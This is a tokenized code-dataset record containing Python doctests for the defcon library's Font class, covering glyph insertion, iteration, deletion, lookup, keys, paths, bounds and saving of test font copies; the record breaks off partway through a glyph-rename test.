"\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Insert", "Glyph_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "\"", "need", " ", "insert", " ", "glyph", " ", "test", "!\"", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Iter_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "def", "con", ".", "test", ".", "test", "Tool", "s", " ", "import", " ", "get", "Test", "Font", "Path", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "get", "Test", "Font", "Path", "())", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "names", " ", "=", " ", "[", "glyph", ".", "name", " ", "for", " ", "glyph", " ", "in", " ", "font", "]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "names", ".", "sort", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "names", "\\", "10", ";", " ", " ", " ", " ", "['", "A", "',", " ", "'", "B", "',", " ", "'", "C", "']", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "names", " ", "=", " ", "[]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "for", " ", "glyph", "1", " ", "in", " ", "font", ":", "\\", "10", ";", " ", " ", " ", " ", "...", " ", "for", " ", "glyph", "2", " ", "in", " ", "font", ":", "\\", "10", ";", " ", " ", " ", " ", "...", " ", " ", " ", " ", " ", "names", ".", "append", "((", "glyph", "1", ".", "name", ",", " ", "glyph", "2", ".", "name", "))\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "names", ".", "sort", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "names", "\\", "10", ";", " ", " ", " ", " ", "[(", "'", "A", "',", " ", "'", "A", "')", ",", " ", "('", "A", "',", " ", "'", "B", "')", ",", " ", "('", "A", "',", " ", "'", "C", "')", ",", " ", "('", "B", "',", " ", "'", "A", "')", ",", " ", "('", "B", "',", " ", "'", "B", "')", ",", " ", "('", "B", "',", " ", "'", "C", "')", ",", " ", "('", "C", "',", " ", "'", "A", "')", ",", " ", "('", "C", "',", " ", "'", "B", "')", ",", " ", "('", "C", "',", " ", "'", "C", "')]", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Get", "item_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "def", "con", ".", "test", ".", "test", "Tool", "s", " ", "import", " ", "get", "Test", "Font", "Path", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "get", "Test", "Font", "Path", "())", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", "['", "A", "']", ".", "name", "\\", "10", ";", " ", " ", " ", " ", "'", "A", "'", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", "['", "B", "']", ".", "name", "\\", "10", ";", " ", " ", " ", " ", "'", "B", "'", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", "['", "Not", "In", "Font", "']", "\\", "10", ";", " ", " ", " ", " ", "Trace", "back", " ", "(", "most", " ", "recent", " ", "call", " ", "last", "):", "\\", "10", ";", " ", " ", " ", " ", "...", "\\", "10", ";", " ", " ", " ", " ", "Key", "Error", ":", " ", "'", "Not", "In", "Font", " ", "not", " ", "in", " ", "font", "'", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Del", "item_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "def", "con", ".", "test", ".", "test", "Tool", "s", " ", "import", " ", "make", "Test", "Font", "Copy", ",", " ", "tear", "Down", "Test", "Font", "Copy", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "import", " ", "glob", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "import", " ", "os", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "make", "Test", "Font", "Copy", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "path", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "del", " ", "font", "['", "A", "']", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "dir", "ty", "\\", "10", ";", " ", " ", " ", " ", "Tru", "e", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "new", "Gl", "yp", "h", "('", "New", "Gl", "yp", "h", "Test", "')", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "del", " ", "font", "['", "New", "Gl", "yp", "h", "Test", "']", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "keys", " ", "=", " ", "font", ".", "keys", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "keys", ".", "sort", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "keys", "\\", "10", ";", " ", " ", " ", " ", "['", "B", "',", " ", "'", "C", "']", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "len", "(", "font", ")", "\\", "10", ";", " ", " ", " ", " ", "2", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "'", "A", "'", " ", "in", " ", "font", "\\", "10", ";", " ", " ", " ", " ", "Fal", "se", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "save", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "file", "Names", " ", "=", " ", "glob", ".", "glob", "(", "os", ".", "path", ".", "join", "(", "path", ",", " ", "'", "Glyphs", "',", " ", "'*", ".", "gli", "f", "'))", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "file", "Names", " ", "=", " ", "[", "os", ".", "path", ".", "basen", "ame", "(", "file", "Name", ")", " ", "for", " ", "file", "Name", " ", "in", " ", "file", "Names", "]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "file", "Names", ".", "sort", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "file", "Names", "\\", "10", ";", " ", " ", " ", " ", "['", "B", "\\u.", "gli", "f", "',", " ", "'", "C", "\\u.", "gli", "f", "']", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "del", " ", "font", "['", "Not", "In", "Font", "']", "\\", "10", ";", " ", " ", " ", " ", "Trace", "back", " ", "(", "most", " ", "recent", " ", "call", " ", "last", "):", "\\", "10", ";", " ", " ", " ", " ", "...", "\\", "10", ";", " ", " ", " ", " ", "Key", "Error", ":", " ", "'", "Not", "In", "Font", " ", "not", " ", "in", " ", "font", "'", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "tear", "Down", "Test", "Font", "Copy", "()", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "#", " ", "test", " ", "saving", " ", "external", "ly", " ", "delete", "d", " ", "glyph", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "#", " ", "del", " ", "glyph", ".", " ", "not", " ", "dir", "ty", ".", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "make", "Test", "Font", "Copy", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "path", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "glyph", " ", "=", " ", "font", "[\"", "A", "\"]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "glyph", "Path", " ", "=", " ", "os", ".", "path", ".", "join", "(", "path", ",", " ", "\"", "glyph", "s", "\",", " ", "\"", "A", "\\u.", "gli", "f", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "os", ".", "remove", "(", "glyph", "Path", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "r", " ", "=", " ", "font", ".", "test", "For", "Exter", "nal", "Change", "s", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "r", "[\"", "delete", "d", "Glyphs", "\"]", "\\", "10", ";", " ", " ", " ", " ", "['", "A", "']", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "del", " ", "font", "[\"", "A", "\"]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "save", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "os", ".", "path", ".", "exist", "s", "(", "glyph", "Path", ")", "\\", "10", ";", " ", " ", " ", " ", "Fal", "se", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "tear", "Down", "Test", "Font", "Copy", "()", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "#", " ", "del", " ", "glyph", ".", " ", "dir", "ty", ".", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "make", "Test", "Font", "Copy", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "path", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "glyph", " ", "=", " ", "font", "[\"", "A", "\"]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "glyph", ".", "dir", "ty", " ", "=", " ", "Tru", "e", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "glyph", "Path", " ", "=", " ", "os", ".", "path", ".", "join", "(", "path", ",", " ", "\"", "glyph", "s", "\",", " ", "\"", "A", "\\u.", "gli", "f", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "os", ".", "remove", "(", "glyph", "Path", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "r", " ", "=", " ", "font", ".", "test", "For", "Exter", "nal", "Change", "s", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "r", "[\"", "delete", "d", "Glyphs", "\"]", "\\", "10", ";", " ", " ", " ", " ", "['", "A", "']", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "del", " ", "font", "[\"", "A", "\"]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "save", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "os", ".", "path", ".", "exist", "s", "(", "glyph", "Path", ")", "\\", "10", ";", " ", " ", " ", " ", "Fal", "se", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "tear", "Down", "Test", "Font", "Copy", "()", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Len_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "def", "con", ".", "test", ".", "test", "Tool", "s", " ", "import", " ", "get", "Test", "Font", "Path", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "get", "Test", "Font", "Path", "())", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "len", "(", "font", ")", "\\", "10", ";", " ", " ", " ", " ", "3", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "len", "(", "font", ")", "\\", "10", ";", " ", " ", " ", " ", "0", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Contains_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "def", "con", ".", "test", ".", "test", "Tool", "s", " ", "import", " ", "get", "Test", "Font", "Path", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "get", "Test", "Font", "Path", "())", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "'", "A", "'", " ", "in", " ", "font", "\\", "10", ";", " ", " ", " ", " ", "Tru", "e", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "'", "Not", "In", "Font", "'", " ", "in", " ", "font", "\\", "10", ";", " ", " ", " ", " ", "Fal", "se", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "'", "A", "'", " ", "in", " ", "font", "\\", "10", ";", " ", " ", " ", " ", "Fal", "se", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "def", "con", ".", "test", ".", "test", "Tool", "s", " ", "import", " ", "get", "Test", "Font", "Path", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "get", "Test", "Font", "Path", "())", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "keys", " ", "=", " ", "font", ".", "keys", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "keys", ".", "sort", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "print", " ", "keys", "\\", "10", ";", " ", " ", " ", " ", "['", "A", "',", " ", "'", "B", "',", " ", "'", "C", "']", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "del", " ", "font", "[\"", "A", "\"]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "keys", " ", "=", " ", "font", ".", "keys", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "keys", ".", "sort", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "print", " ", "keys", "\\", "10", ";", " ", " ", " ", " ", "['", "B", "',", " ", "'", "C", "']", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "new", "Gl", "yp", "h", "(\"", "A", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "keys", " ", "=", " ", "font", ".", "keys", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "keys", ".", "sort", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "print", " ", "keys", "\\", "10", ";", " ", " ", " ", " ", "['", "A", "',", " ", "'", "B", "',", " ", "'", "C", "']", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "keys", "()", "\\", "10", ";", " ", " ", " ", " ", "[]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "new", "Gl", "yp", "h", "(\"", "A", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "keys", " ", "=", " ", "font", ".", "keys", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "keys", ".", "sort", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "print", " ", "keys", "\\", "10", ";", " ", " ", " ", " ", "['", "A", "']", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Path_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "#", " ", "get", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "def", "con", ".", "test", ".", "test", "Tool", "s", " ", "import", " ", "get", "Test", "Font", "Path", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "get", "Test", "Font", "Path", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "path", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "path", " ", "==", " ", "path", "\\", "10", ";", " ", " ", " ", " ", "Tru", "e", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "path", " ", "==", " ", "Non", "e", "\\", "10", ";", " ", " ", " ", " ", "Tru", "e", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "#", " ", "set", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "import", " ", "shut", "il", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "def", "con", ".", "test", ".", "test", "Tool", "s", " ", "import", " ", "get", "Test", "Font", "Path", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", "1", " ", "=", " ", "get", "Test", "Font", "Path", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "path", "1", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", "2", " ", "=", " ", "get", "Test", "Font", "Path", "(\"", "set", "Path", "Test", ".", "ufo", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "shut", "il", ".", "copy", "tree", "(", "path", "1", ",", " ", "path", "2", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "path", " ", "=", " ", "path", "2", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "shut", "il", ".", "rm", "tree", "(", "path", "2", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Gl", "yp", "h", "With", "Outline", "s_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "def", "con", ".", "test", ".", "test", "Tool", "s", " ", "import", " ", "get", "Test", "Font", "Path", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "get", "Test", "Font", "Path", "())", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "sorte", "d", "(", "font", ".", "glyph", "s", "With", "Outline", "s", ")", "\\", "10", ";", " ", " ", " ", " ", "['", "A", "',", " ", "'", "B", "']", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "get", "Test", "Font", "Path", "())", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "for", " ", "glyph", " ", "in", " ", "font", ":", "\\", "10", ";", " ", " ", " ", " ", "...", " ", " ", " ", " ", "pass", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "sorte", "d", "(", "font", ".", "glyph", "s", "With", "Outline", "s", ")", "\\", "10", ";", " ", " ", " ", " ", "['", "A", "',", " ", "'", "B", "']", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Compo", "nent", "Reference", "s_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "def", "con", ".", "test", ".", "test", "Tool", "s", " ", "import", " ", "get", "Test", "Font", "Path", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "get", "Test", "Font", "Path", "())", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "component", "Reference", "s", "\\", "10", ";", " ", " ", " ", " ", "{", "'", "A", "':", " ", "set", "([", "'", "C", "'])", ",", " ", "'", "B", "':", " ", "set", "([", "'", "C", "'])", "}", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "glyph", " ", "=", " ", "font", "[\"", "C", "\"]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "component", "Reference", "s", "\\", "10", ";", " ", " ", " ", " ", "{", "'", "A", "':", " ", "set", "([", "'", "C", "'])", ",", " ", "'", "B", "':", " ", "set", "([", "'", "C", "'])", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Bounds_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "def", "con", ".", "test", ".", "test", "Tool", "s", " ", "import", " ", "get", "Test", "Font", "Path", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "get", "Test", "Font", "Path", "())", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "bound", "s", "\\", "10", ";", " ", " ", " ", " ", "(", "0", ",", " ", "0", ",", " ", "700", ",", " ", "700", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Control", "Point", "Bounds_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "def", "con", ".", "test", ".", "test", "Tool", "s", " ", "import", " ", "get", "Test", "Font", "Path", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "get", "Test", "Font", "Path", "())", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "control", "Point", "Bound", "s", "\\", "10", ";", " ", " ", " ", " ", "(", "0", ",", " ", "0", ",", " ", "700", ",", " ", "700", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Save_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "def", "con", ".", "test", ".", "test", "Tool", "s", " ", "import", " ", "make", "Test", "Font", "Copy", ",", " ", "tear", "Down", "Test", "Font", "Copy", ",", " ", "get", "Test", "Font", "Path", ",", " ", "get", "Test", "Font", "Copy", "Path", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "import", " ", "glob", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "import", " ", "os", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "make", "Test", "Font", "Copy", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "path", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "for", " ", "glyph", " ", "in", " ", "font", ":", "\\", "10", ";", " ", " ", " ", " ", "...", " ", "glyph", ".", "dir", "ty", " ", "=", " ", "Tru", "e", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "save", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "file", "Names", " ", "=", " ", "glob", ".", "glob", "(", "os", ".", "path", ".", "join", "(", "path", ",", " ", "'", "Glyphs", "',", " ", "'*", ".", "gli", "f", "'))", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "file", "Names", " ", "=", " ", "[", "os", ".", "path", ".", "basen", "ame", "(", "file", "Name", ")", " ", "for", " ", "file", "Name", " ", "in", " ", "file", "Names", "]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "file", "Names", ".", "sort", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "file", "Names", "\\", "10", ";", " ", " ", " ", " ", "['", "A", "\\u.", "gli", "f", "',", " ", "'", "B", "\\u.", "gli", "f", "',", " ", "'", "C", "\\u.", "gli", "f", "']", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "tear", "Down", "Test", "Font", "Copy", "()", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "get", "Test", "Font", "Path", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "path", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "save", "As", "Path", " ", "=", " ", "get", "Test", "Font", "Copy", "Path", "(", "path", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "save", "(", "save", "As", "Path", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "file", "Names", " ", "=", " ", "glob", ".", "glob", "(", "os", ".", "path", ".", "join", "(", "save", "As", "Path", ",", " ", "'", "Glyphs", "',", " ", "'*", ".", "gli", "f", "'))", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "file", "Names", " ", "=", " ", "[", "os", ".", "path", ".", "basen", "ame", "(", "file", "Name", ")", " ", "for", " ", "file", "Name", " ", "in", " ", "file", "Names", "]", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "file", "Names", ".", "sort", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "file", "Names", "\\", "10", ";", " ", " ", " ", " ", "['", "A", "\\u.", "gli", "f", "',", " ", "'", "B", "\\u.", "gli", "f", "',", " ", "'", "C", "\\u.", "gli", "f", "']", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "path", " ", "==", " ", "save", "As", "Path", "\\", "10", ";", " ", " ", " ", " ", "Tru", "e", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "tear", "Down", "Test", "Font", "Copy", "(", "save", "As", "Path", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Gl", "yp", "h", "Name", "Change_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "def", "con", ".", "test", ".", "test", "Tool", "s", " ", "import", " ", "get", "Test", "Font", "Path", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "get", "Test", "Font", "Path", "())", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "glyph", " ", "=", " ", "font", "['", "A", "']", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "glyph", ".", "name", " ", "=", " ", "'", "Name", "Change", "Test", "'", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "keys", " ", "=", " ", "font", ".", "keys", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "keys", ".", "sort", "()", "\\", "10", ";", " ", " 